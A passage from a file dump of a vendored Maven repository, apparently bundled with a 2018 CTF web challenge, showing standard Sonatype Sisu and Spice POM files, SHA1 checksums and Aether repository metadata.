    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-inject-bean/1.4.2/sisu-inject-bean-1.4.2.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.sonatype.sisu.inject</groupId>\n    <artifactId>guice-bean</artifactId>\n    <version>1.4.2</version>\n  </parent>\n\n  <packaging>bundle</packaging>\n\n  <groupId>org.sonatype.sisu</groupId>\n  <artifactId>sisu-inject-bean</artifactId>\n\n  <name>Sisu - Inject (JSR330 bean support)</name>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.sonatype.sisu</groupId>\n      <artifactId>sisu-guice</artifactId>\n      <classifier>noaop</classifier>\n      <exclusions>\n        <exclusion>\n          <groupId>javax.inject</groupId>\n          <artifactId>javax.inject</artifactId>\n        </exclusion>\n        <exclusion>\n          <groupId>aopalliance</groupId>\n          <artifactId>aopalliance</artifactId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>org.sonatype.sisu.inject</groupId>\n      <artifactId>guice-bean-containers</artifactId>\n      <optional>true</optional>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.felix</groupId>\n        <artifactId>maven-bundle-plugin</artifactId>\n        <extensions>true</extensions>\n        <configuration>\n          <instructions>\n            <Bundle-SymbolicName>\n              org.sonatype.inject\n            </Bundle-SymbolicName>\n            <Bundle-Activator>\n              org.sonatype.guice.bean.containers.Activator\n            </Bundle-Activator>\n            <DynamicImport-Package>\n              org.slf4j,junit.framework\n            </DynamicImport-Package>\n            <Export-Package>\n              org.sonatype.inject;-noimport:=true;-split-package:=merge-first;version=${project.version},\n              javax.*|org.aopalliance.*;version=1\n            </Export-Package>\n            <Private-Package>\n              org.sonatype.guice.*,org.objectweb.asm\n            </Private-Package>\n          </instructions>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-shade-plugin</artifactId>\n        <executions>\n          <execution>\n            <phase>package</phase>\n            <goals>\n              <goal>shade</goal>\n            </goals>\n            <configuration>\n              <artifactSet>\n                <includes>\n                  <include>${project.groupId}:${project.artifactId}</include>\n                </includes>\n              </artifactSet>\n              <relocations>\n                <relocation>\n                  <pattern>org.objectweb</pattern>\n                  <shadedPattern>org.sonatype.guice</shadedPattern>\n                </relocation>\n              </relocations>\n              <filters>\n                <filter>\n                  <artifact>*:*</artifact>\n                  <excludes>\n                    <exclude>org/objectweb/asm/*Adapter*</exclude>\n                    <exclude>org/objectweb/asm/*Writer*</exclude>\n                  </excludes>\n                </filter>\n              </filters>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <artifactId>maven-jar-plugin</artifactId>\n        <configuration>\n          <archive>\n            <manifest>\n              <mainClass>org.sonatype.guice.bean.containers.Main</mainClass>\n            </manifest>\n          </archive>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n\n  <profiles>\n    <profile>\n      <id>release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-dependency-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>unpack-source</id>\n                <phase>prepare-package</phase>\n                <goals>\n                  <goal>unpack-dependencies</goal>\n                </goals>\n                <configuration>\n                  <classifier>sources</classifier>\n                  <failOnMissingClassifierArtifact>false</failOnMissingClassifierArtifact>\n                  <outputDirectory>${project.build.directory}/sources</outputDirectory>\n                  <includes>\n                    javax/**,org/aopalliance/**,org/sonatype/inject/**,org/sonatype/guice/bean/**\n                  </includes>\n                  <silent>true</silent>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>build-helper-maven-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>add-source</id>\n                <phase>prepare-package</phase>\n                <goals>\n                  <goal>add-source</goal>\n                </goals>\n                <configuration>\n                  <sources>\n                    <source>${project.build.directory}/sources</source>\n                  </sources>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-inject-bean/1.4.2/sisu-inject-bean-1.4.2.pom.sha1",
    "content": "8b8bd0a19ec8218bb04e27aca13658605c9d7588"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-inject-plexus/1.4.2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\nsisu-inject-plexus-1.4.2.jar>central=\nsisu-inject-plexus-1.4.2.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-inject-plexus/1.4.2/sisu-inject-plexus-1.4.2.jar.sha1",
    "content": "53d863ed4879d4a43ad7aee7bc63f935cc513353"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-inject-plexus/1.4.2/sisu-inject-plexus-1.4.2.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.sonatype.sisu.inject</groupId>\n    <artifactId>guice-plexus</artifactId>\n    <version>1.4.2</version>\n  </parent>\n\n  <packaging>bundle</packaging>\n\n  <groupId>org.sonatype.sisu</groupId>\n  <artifactId>sisu-inject-plexus</artifactId>\n\n  <name>Sisu - Inject (Plexus bean support)</name>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-component-annotations</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-classworlds</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.sonatype.sisu</groupId>\n      <artifactId>sisu-inject-bean</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.sonatype.sisu.inject</groupId>\n      <artifactId>guice-plexus-shim</artifactId>\n      <optional>true</optional>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.felix</groupId>\n        <artifactId>maven-bundle-plugin</artifactId>\n        <extensions>true</extensions>\n        <configuration>\n          <excludeDependencies>\n            <!-- fragment host and external dependencies -->\n            sisu-inject-bean,*;groupId=org.codehaus.plexus\n          </excludeDependencies>\n          <instructions>\n            <Bundle-SymbolicName>\n              org.sonatype.inject.plexus\n            </Bundle-SymbolicName>\n            <Fragment-Host>\n              org.sonatype.inject\n            </Fragment-Host>\n            <Export-Package>\n              org.codehaus.plexus.*;-noimport:=true;-split-package:=merge-first\n            </Export-Package>\n            <Private-Package>\n              META-INF.plexus,org.sonatype.guice.*,org.objectweb.asm\n            </Private-Package>\n          </instructions>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-shade-plugin</artifactId>\n        <executions>\n          <execution>\n            <phase>package</phase>\n            <goals>\n              <goal>shade</goal>\n            </goals>\n            <configuration>\n              <artifactSet>\n                <includes>\n                  <include>${project.groupId}:${project.artifactId}</include>\n                </includes>\n              </artifactSet>\n              <relocations>\n                <relocation>\n                  <pattern>org.objectweb</pattern>\n                  <shadedPattern>org.sonatype.guice</shadedPattern>\n                </relocation>\n              </relocations>\n              <filters>\n                <filter>\n                  <artifact>*:*</artifact>\n                  <includes>\n                    <include>META-INF/**</include>\n                    <include>org/codehaus/plexus/**</include>\n                    <include>org/sonatype/guice/plexus/**</include>\n                    <include>org/objectweb/asm/*Writer*</include>\n                  </includes>\n                </filter>\n              </filters>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <profiles>\n    <profile>\n      <id>release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-dependency-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>unpack-source</id>\n                <phase>prepare-package</phase>\n                <goals>\n                  <goal>unpack-dependencies</goal>\n                </goals>\n                <configuration>\n                  <classifier>sources</classifier>\n                  <failOnMissingClassifierArtifact>false</failOnMissingClassifierArtifact>\n                  <outputDirectory>${project.build.directory}/sources</outputDirectory>\n                  <excludeGroupIds>org.codehaus.plexus</excludeGroupIds>\n                  <includes>\n                    org/codehaus/plexus/**,org/sonatype/guice/plexus/**\n                  </includes>\n                  <silent>true</silent>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>build-helper-maven-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>add-source</id>\n                <phase>prepare-package</phase>\n                <goals>\n                  <goal>add-source</goal>\n                </goals>\n                <configuration>\n                  <sources>\n                    <source>${project.build.directory}/sources</source>\n                  </sources>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-inject-plexus/1.4.2/sisu-inject-plexus-1.4.2.pom.sha1",
    "content": "3e27a576e375175ba275f21692d99a386d879405"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-parent/1.4.2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:00:18 CST 2018\nsisu-parent-1.4.2.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-parent/1.4.2/sisu-parent-1.4.2.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nCopyright (c) 2009 Sonatype, Inc. All rights reserved.\n\nThis program is licensed to you under the Apache License Version 2.0,\nand you may not use this file except in compliance with the Apache License Version 2.0.\nYou may obtain a copy of the Apache License Version 2.0 at http://www.apache.org/licenses/LICENSE-2.0.\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the Apache License Version 2.0 is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the Apache License Version 2.0 for the specific language governing permissions and limitations there under.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.sonatype.forge</groupId>\n    <artifactId>forge-parent</artifactId>\n    <version>6</version>\n  </parent>\n\n  <packaging>pom</packaging>\n\n  <groupId>org.sonatype.sisu</groupId>\n  <artifactId>sisu-parent</artifactId>\n  <version>1.4.2</version>\n\n  <name>Sisu</name>\n\n  <url>http://sisu.sonatype.org/</url>\n  <inceptionYear>2010</inceptionYear>\n\n  <organization>\n    <name>Sonatype, Inc.</name>\n    <url>http://www.sonatype.com</url>\n  </organization>\n\n  <mailingLists>\n    <mailingList>\n      <name>Sisu Developers List</name>\n      <subscribe>sisu-dev-subscribe@sonatype.org</subscribe>\n      <unsubscribe>sisu-dev-unsubscribe@sonatype.org</unsubscribe>\n      <post>sisu-dev@sonatype.org</post>\n      <!-- archive>?</archive -->\n    </mailingList>\n    <mailingList>\n      <name>Sisu Users List</name>\n      <subscribe>sisu-user-subscribe@sonatype.org</subscribe>\n      <unsubscribe>sisu-user-unsubscribe@sonatype.org</unsubscribe>\n      <post>sisu-user@sonatype.org</post>\n      <!-- archive>?</archive -->\n    </mailingList>\n    <mailingList>\n      <name>Sisu Commits List</name>\n      <subscribe>sisu-scm-subscribe@sonatype.org</subscribe>\n      <unsubscribe>sisu-scm-unsubscribe@sonatype.org</unsubscribe>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:git:git@github.com:sonatype/sisu.git</connection>\n    <developerConnection>scm:git:git@github.com:sonatype/sisu.git</developerConnection>\n    <url>git@github.com:sonatype/sisu.git</url>\n  </scm>\n\n  <issueManagement>\n    <system>jira</system>\n    <url>https://issues.sonatype.org/browse/SISU</url>\n  </issueManagement>\n\n  <ciManagement>\n    <system>Hudson</system>\n    <url>https://grid.sonatype.org/ci/job/Sisu/</url>\n  </ciManagement>\n\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <modules>\n    <module>sisu-inject</module>\n  </modules>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <slf4j.version>1.6.1</slf4j.version>\n    <forgeReleaseUrl>https://repository.sonatype.org/service/local/staging/deploy/maven2</forgeReleaseUrl>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.slf4j</groupId>\n      <artifactId>slf4j-simple</artifactId>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <dependencyManagement>\n    <dependencies>\n\n      <dependency>\n        <groupId>asm</groupId>\n        <artifactId>asm</artifactId>\n        <version>3.2</version>\n      </dependency>\n\n      <dependency>\n        <groupId>javax.inject</groupId>\n        <artifactId>javax.inject</artifactId>\n        <version>1</version>\n      </dependency>\n      <dependency>\n        <groupId>aopalliance</groupId>\n        <artifactId>aopalliance</artifactId>\n        <version>1.0</version>\n      </dependency>\n\n      <dependency>\n        <groupId>org.slf4j</groupId>\n        <artifactId>slf4j-api</artifactId>\n        <version>${slf4j.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.slf4j</groupId>\n        <artifactId>slf4j-simple</artifactId>\n        <version>${slf4j.version}</version>\n      </dependency>\n\n      <dependency>\n        <groupId>org.osgi</groupId>\n        <artifactId>org.osgi.core</artifactId>\n        <version>4.2.0</version>\n      </dependency>\n      <dependency>\n        <groupId>org.osgi</groupId>\n        <artifactId>org.osgi.compendium</artifactId>\n        <version>4.2.0</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.felix</groupId>\n        <artifactId>org.apache.felix.framework</artifactId>\n        <version>3.0.2</version>\n      </dependency>\n\n      <dependency>\n        <groupId>junit</groupId>\n        <artifactId>junit</artifactId>\n        <version>3.8.2</version>\n      </dependency>\n\n    </dependencies>\n  </dependencyManagement>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.3.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.felix</groupId>\n          <artifactId>maven-bundle-plugin</artifactId>\n          <version>2.1.0</version>\n          <configuration>\n            <instructions>\n              <Bundle-RequiredExecutionEnvironment>\n                J2SE-1.5,JavaSE-1.6\n              </Bundle-RequiredExecutionEnvironment>\n              <_versionpolicy>[$(version;==;$(@)),$(version;+;$(@)))</_versionpolicy>\n              <_nouses>true</_nouses>\n              <_removeheaders>\n                Embed-Dependency,Embed-Transitive,\n                Built-By,Tool,Created-By,Build-Jdk,\n                Include-Resource,Private-Package,\n                Ignore-Package,Bnd-LastModified\n              </_removeheaders>\n            </instructions>\n          </configuration>\n        </plugin>\n        <plugin>\n          <artifactId>maven-shade-plugin</artifactId>\n          <version>1.4</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-antrun-plugin</artifactId>\n          <version>1.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>build-helper-maven-plugin</artifactId>\n          <version>1.5</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.7</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.1.2</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <configuration>\n            <redirectTestOutputToFile>true</redirectTestOutputToFile>\n          </configuration>\n        </plugin>\n        <plugin>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.1</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.0</version>\n          <configuration>\n            <autoVersionSubmodules>true</autoVersionSubmodules>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <profiles>\n    <profile>\n      <id>examples</id>\n      <modules>\n        <module>sisu-examples</module>\n      </modules>\n    </profile>\n  </profiles>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-parent/1.4.2/sisu-parent-1.4.2.pom.sha1",
    "content": "11c9a4a343a22f80cfe4e9677d7b0679850e4196"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/spice/spice-parent/10/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:39 CST 2018\nspice-parent-10.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/spice/spice-parent/10/spice-parent-10.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<parent>\n\t\t<groupId>org.sonatype.forge</groupId>\n\t\t<artifactId>forge-parent</artifactId>\n\t\t<version>3</version>\n\t</parent>\n\t<groupId>org.sonatype.spice</groupId>\n\t<artifactId>spice-parent</artifactId>\n\t<version>10</version>\n\t<packaging>pom</packaging>\n\t<name>Sonatype Spice Components</name>\n\n\t<scm>\n\t\t<connection>scm:svn:http://svn.sonatype.org/spice/tags/spice-parent-10</connection>\n\t\t<url>http://svn.sonatype.org/spice/tags/spice-parent-10</url>\n\t\t<developerConnection>scm:svn:https://svn.sonatype.org/spice/tags/spice-parent-10</developerConnection>\n\t</scm>\n\n\t<properties>\n\t\t<jetty.version>6.1.14</jetty.version>\n\t</properties>\n\n\t<dependencyManagement>\n\t\t<dependencies>\n\t\t\t<dependency>\n\t\t\t\t<groupId>org.codehaus.plexus</groupId>\n\t\t\t\t<artifactId>plexus-container-default</artifactId>\n\t\t\t\t<version>1.0-beta-1</version>\n\t\t\t\t<exclusions>\n\t\t\t\t\t<exclusion>\n\t\t\t\t\t\t<groupId>commons-logging</groupId>\n\t\t\t\t\t\t<artifactId>commons-logging</artifactId>\n\t\t\t\t\t</exclusion>\n\t\t\t\t\t<exclusion>\n\t\t\t\t\t\t<groupId>commons-logging</groupId>\n\t\t\t\t\t\t<artifactId>commons-logging-api</artifactId>\n\t\t\t\t\t</exclusion>\n\t\t\t\t\t<exclusion>\n\t\t\t\t\t\t<groupId>log4j</groupId>\n\t\t\t\t\t\t<artifactId>log4j</artifactId>\n\t\t\t\t\t</exclusion>\n\t\t\t\t</exclusions>\n\t\t\t</dependency>\n\t\t\t<dependency>\n\t\t\t\t<groupId>org.codehaus.plexus</groupId>\n\t\t\t\t<artifactId>plexus-component-annotations</artifactId>\n\t\t\t\t<version>1.0-beta-1</version>\n\t\t\t</dependency>\n\t\t\t<dependency>\n\t\t\t\t<groupId>org.codehaus.plexus</groupId>\n\t\t\t\t<artifactId>plexus-utils</artifactId>\n\t\t\t\t<version>1.5.5</version>\n\t\t\t</dependency>\n\t\t\t<dependency>\n\t\t\t\t<groupId>org.mortbay.jetty</groupId>\n\t\t\t\t<artifactId>jetty</artifactId>\n\t\t\t\t<version>${jetty.version}</version>\n\t\t\t</dependency>\n\t\t\t<dependency>\n\t\t\t\t<groupId>org.mortbay.jetty</groupId>\n\t\t\t\t<artifactId>jetty-client</artifactId>\n\t\t\t\t<version>${jetty.version}</version>\n\t\t\t</dependency>\n\t\t\t<dependency>\n\t\t\t\t<groupId>junit</groupId>\n\t\t\t\t<artifactId>junit</artifactId>\n\t\t\t\t<version>4.5</version>\n                <scope>test</scope>\n\t\t\t</dependency>\n\t\t</dependencies>\n\t</dependencyManagement>\n\n\t<build>\n\t\t<pluginManagement>\n\t\t\t<plugins>\n\t\t\t\t<plugin>\n\t\t\t\t\t<groupId>org.codehaus.plexus</groupId>\n\t\t\t\t\t<artifactId>plexus-component-metadata</artifactId>\n\t\t\t\t\t<version>1.0-beta-1</version>\n\t\t\t\t\t<executions>\n\t\t\t\t\t\t<execution>\n\t\t\t\t\t\t\t<id>process-classes</id>\n\t\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t\t<goal>generate-metadata</goal>\n\t\t\t\t\t\t\t</goals>\n\t\t\t\t\t\t</execution>\n\t\t\t\t\t</executions>\n\t\t\t\t</plugin>\n\t\t\t\t<plugin>\n\t\t\t\t\t<groupId>org.codehaus.plexus</groupId>\n\t\t\t\t\t<artifactId>plexus-maven-plugin</artifactId>\n\t\t\t\t\t<version>1.3.8</version>\n\t\t\t\t\t<executions>\n\t\t\t\t\t\t<execution>\n\t\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t\t<goal>descriptor</goal>\n\t\t\t\t\t\t\t</goals>\n\t\t\t\t\t\t</execution>\n\t\t\t\t\t</executions>\n\t\t\t\t</plugin>\n\t\t\t</plugins>\n\t\t</pluginManagement>\n\t</build>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/spice/spice-parent/10/spice-parent-10.pom.sha1",
    "content": "8e0e4ba87d63321333c26494698377b1204633a8"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/spice/spice-parent/12/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:45 CST 2018\nspice-parent-12.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/spice/spice-parent/12/spice-parent-12.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <groupId>org.sonatype.forge</groupId>\n    <artifactId>forge-parent</artifactId>\n    <version>4</version>\n  </parent>\n  <groupId>org.sonatype.spice</groupId>\n  <artifactId>spice-parent</artifactId>\n  <version>12</version>\n  <packaging>pom</packaging>\n  <name>Sonatype Spice Components</name>\n\n  <scm>\n    <connection>scm:svn:http://svn.sonatype.org/spice/tags/spice-parent-12</connection>\n    <url>http://svn.sonatype.org/spice/tags/spice-parent-12</url>\n    <developerConnection>scm:svn:https://svn.sonatype.org/spice/tags/spice-parent-12</developerConnection>\n  </scm>\n\n  <licenses>\n    <license>\n      <name>Apache Public License 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n  \n\t<ciManagement>\n\t  <system>Hudson</system>\n\t  <url>https://grid.sonatype.org/ci/view/Spice/</url>\n\t</ciManagement>\n\t\n  <issueManagement>\n    <system>JIRA</system>\n    <url>https://issues.sonatype.org/browse/SPICE</url>\n  </issueManagement>\n  \n  <properties>\n    <!--\n      2008.12.07 Oleg: reverted to 6.1.12 as http transport only works with that version | Please always sync with\n      mercury-http-transport !!\n    -->\n    <jetty.version>6.1.12</jetty.version>\n    <plexus.version>1.0-beta-3.0.5</plexus.version>\n  </properties>\n\n  <dependencyManagement>\n    <dependencies>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-container-default</artifactId>\n        <version>${plexus.version}</version>\n        <scope>provided</scope>\n        <exclusions>\n          <exclusion>\n            <groupId>commons-logging</groupId>\n            <artifactId>commons-logging</artifactId>\n          </exclusion>\n          <exclusion>\n            <groupId>commons-logging</groupId>\n            <artifactId>commons-logging-api</artifactId>\n          </exclusion>\n          <exclusion>\n            <groupId>log4j</groupId>\n            <artifactId>log4j</artifactId>\n          </exclusion>\n        </exclusions>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-annotations</artifactId>\n        <version>${plexus.version}</version>\n        <scope>provided</scope>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-utils</artifactId>\n        <version>1.5.5</version>\n      </dependency>\n      <dependency>\n        <groupId>org.mortbay.jetty</groupId>\n        <artifactId>jetty</artifactId>\n        <version>${jetty.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.mortbay.jetty</groupId>\n        <artifactId>jetty-client</artifactId>\n        <version>${jetty.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.mortbay.jetty</groupId>\n        <artifactId>jetty-util</artifactId>\n        <version>${jetty.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>junit</groupId>\n        <artifactId>junit</artifactId>\n        <version>4.5</version>\n        <scope>test</scope>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-component-metadata</artifactId>\n          <version>${plexus.version}</version>\n          <executions>\n            <execution>\n              <id>process-classes</id>\n              <goals>\n                <goal>generate-metadata</goal>\n              </goals>\n            </execution>\n            <execution>\n              <id>process-test-classes</id>\n              <goals>\n                <goal>generate-test-metadata</goal>\n              </goals>\n            </execution>\n          </executions>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-maven-plugin</artifactId>\n          <version>1.3.8</version>\n          <executions>\n            <execution>\n              <goals>\n                <goal>descriptor</goal>\n              </goals>\n            </execution>\n          </executions>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n  \n\t<reporting>\n\t  <plugins>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>cobertura-maven-plugin</artifactId>\n        <version>2.2</version>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>findbugs-maven-plugin</artifactId>\n        <version>1.2</version>\n        <configuration>\n          <omitVisitors>UnreadFields</omitVisitors>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-jxr-plugin</artifactId>\n        <version>2.1</version>\n      </plugin>\n      <plugin>\n        <artifactId>maven-pmd-plugin</artifactId>\n        <version>2.4</version>\n        <configuration>\n          <targetJdk>1.5</targetJdk>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-plugin-plugin</artifactId>\n        <version>2.5</version>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <version>2.5</version>\n        <configuration>\n          <tagletArtifacts>\n            <tagletArtifact>\n              <groupId>org.apache.maven.plugin-tools</groupId>\n              <artifactId>maven-plugin-tools-javadoc</artifactId>\n              <version>2.5</version>\n            </tagletArtifact>\n            <tagletArtifact>\n              <groupId>org.codehaus.plexus</groupId>\n              <artifactId>plexus-javadoc</artifactId>\n              <version>1.0</version>\n            </tagletArtifact>\n          </tagletArtifacts>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.1.1</version>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <!-- Broken, don't know why. -->\n              <report>dependencies</report>\n              <report>project-team</report>\n              <report>mailing-list</report>\n              <report>cim</report>\n              <report>issue-tracking</report>\n              <report>license</report>\n              <report>scm</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n\t  </plugins>\n\t</reporting>\n\t\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/spice/spice-parent/12/spice-parent-12.pom.sha1",
    "content": "e86b2d826f53093e27dc579bea3becbf1425d9ba"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/spice/spice-parent/16/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:25 CST 2018\nspice-parent-16.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/spice/spice-parent/16/spice-parent-16.pom",
